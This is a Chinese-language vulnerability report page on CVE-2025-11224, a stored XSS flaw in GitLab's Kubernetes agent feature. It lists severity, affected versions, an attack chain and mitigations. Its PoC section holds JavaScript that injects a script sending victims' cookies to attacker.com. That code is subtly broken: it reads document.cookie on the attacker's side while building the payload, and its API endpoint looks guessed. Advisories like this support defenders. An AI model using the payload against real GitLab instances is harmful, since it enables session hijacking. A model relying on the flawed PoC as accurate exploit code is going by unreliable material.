IPBUF安全漏洞报告
English
CVE-2025-11224 CVSS 7.7 高危

CVE-2025-11224: GitLab Kubernetes代理存储型XSS漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-11224
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab CE/EE

相关标签

存储型XSSGitLabKubernetes代理输入验证跨站脚本CVE-2025-11224CVSS 7.7

漏洞概述

CVE-2025-11224是GitLab Community Edition(CE)和Enterprise Edition(EE)中的一个高危安全漏洞,CVSS评分达到7.7分。该漏洞存在于GitLab的Kubernetes代理功能中,由于对用户输入缺乏正确的验证和过滤,攻击者可以通过该功能注入恶意JavaScript代码。当其他用户访问受影响页面时,恶意脚本将在其浏览器上下文中执行,从而实现窃取会话Cookie、劫持用户账户、篡改页面内容或进行钓鱼攻击等恶意操作。攻击者需要拥有GitLab账户并具备低权限即可实施攻击,但需要诱导其他用户进行某种交互才能触发漏洞。该漏洞影响所有从15.10版本开始到18.3.6之前、18.4版本到18.4.4之前以及18.5版本到18.5.2之前的所有GitLab版本。

技术细节

该漏洞的根本原因在于GitLab的Kubernetes代理功能对用户输入数据没有进行充分的输入验证和输出编码。攻击者利用Kubernetes代理功能的相关接口,构造包含恶意JavaScript代码的请求载荷。当GitLab将用户提交的数据存储并在不同页面或组件中展示时,如果未对特殊字符进行HTML实体转义,浏览器将把恶意代码作为有效脚本执行。存储型XSS的危害性比反射型XSS更高,因为恶意脚本会被永久存储在服务器端,所有访问相关内容的用户都会受到影响。攻击者可通过XSS窃取受害者的认证令牌、API凭据或执行任意操作。GitLab已于18.3.6、18.4.4和18.5.2版本中修复此问题,修复措施包括加强输入验证和实施严格的输出编码。

攻击链分析

STEP 1
步骤1
攻击者注册GitLab账户并获得低权限访问权限
STEP 2
步骤2
攻击者访问Kubernetes代理功能,构造包含恶意JavaScript代码的载荷
STEP 3
步骤3
通过API或Web界面将恶意载荷注入到GitLab系统中,数据被存储到数据库
STEP 4
步骤4
GitLab将包含恶意脚本的内容呈现给其他用户,浏览器执行注入的JavaScript代码
STEP 5
步骤5
恶意脚本窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-11224 Stored XSS PoC for GitLab Kubernetes Proxy // This PoC demonstrates the XSS vulnerability in GitLab's Kubernetes integration // Step 1: Authenticate with GitLab and obtain access token const gitlabToken = 'YOUR_PRIVATE_TOKEN'; const gitlabUrl = 'https://YOUR_GITLAB_INSTANCE.com'; // Step 2: Create a malicious Kubernetes agent configuration with XSS payload const xssPayload = '<script>document.location="https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"</script>'; // Step 3: Submit the payload through Kubernetes proxy endpoint const exploitEndpoint = `${gitlabUrl}/api/v4/projects/1/kubernetes_agent/config_file`; const payload = { name: 'malicious-agent', description: xssPayload, token: 'malicious-token' }; // Step 4: Send the crafted request fetch(exploitEndpoint, { method: 'POST', headers: { 'PRIVATE-TOKEN': gitlabToken, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(response => response.json()) .then(data => console.log('Exploit sent:', data)); // Note: The XSS will trigger when admin views the agent configuration page // The script will exfiltrate cookies to attacker-controlled server

影响范围

GitLab CE/EE 15.10 <= version < 18.3.6
GitLab CE/EE 18.4 <= version < 18.4.4
GitLab CE/EE 18.5 <= version < 18.5.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制用户创建Kubernetes代理配置的权限,仅允许受信任的管理员操作;2) 启用Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;3) 监控GitLab日志中的异常请求模式;4) 提醒用户不要点击来源不明的链接,定期更换密码和会话令牌;5) 考虑临时禁用非必要的Kubernetes代理功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表